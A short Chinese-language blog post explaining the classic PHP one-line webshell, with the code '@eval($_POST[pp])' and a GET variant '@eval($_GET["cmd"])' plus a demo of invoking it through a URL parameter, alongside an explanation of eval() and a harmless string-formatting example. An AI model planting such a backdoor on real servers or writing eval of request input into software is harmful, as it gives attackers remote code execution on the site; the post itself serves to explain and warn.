PHP的一句话木马代码和函数eval的简介

大清早的刚从床上爬起来。雨落就跑来找我问我这段代码是什么意思<?php @eval($_POST[pp]);?>看了一下,post 接收 pp 的值,抑制错误输出。呵呵开个玩笑,其实不是这么简单,这是一段 PHP 木马代码,也就是我们所说的后门程序

为什么说这段代码是后门程序?

其实这段代码属于基础类的一句话,功能仅限于验证漏洞了,实际中太容易被查出来了,也就是早上雨落直接带图说检测到木马文件

这个是 PHP 最常见的一句话木马的源码,通过 post 木马程序来实现木马的植入,eval()函数把字符串按照 PHP 代码来计算

就这一句话害死人,这样任何人都可以 post 任何文件上来,所以要做好防范

eval 函数

eval() 函数把字符串按照 PHP 代码来执行

该字符串必须是合法的 PHP 代码,且必须以分号结尾

如果没有在代码字符串中调用 return 语句,则返回 NULL

如果代码中存在解析错误,则 eval() 函数返回 false

eval 函数的一般用法

一般用法也就是平时我们所用的,但是感觉我都不用这个函数,作用相当于 Python 中的format函数,格式化字符串

<?php

$string = "beautiful";

$time = "summer";

$str = 'This is a $string $time morning!';

echo $str. "<br />";

eval("\$str = \"$str\";");

echo $str;

?>

结果输出:

This is a $string $time morning!

This is a beautiful summer morning!

eval 函数的特殊用法

这就是二般人的用法了,一句话木马下面我们直接来看实例,新建一个 php 文件,写入如下代码

<?php

@eval($_GET["cmd"]);

?>

加上@符来抑制错误输出,来访问?cmd=echo 'hello,world!';这个路径,就会看到输出

输入 hello,world

查看 PHP 的信息:pathinfo()
查看 PHP 的信息

post 提交同理,原理就是上面说的,将字符串按照 PHP 代码来执行了,这是最简单的一种 PHP 一句话木马程序代码,也感觉是最弱智的。。。

5 条评论

发表评论

*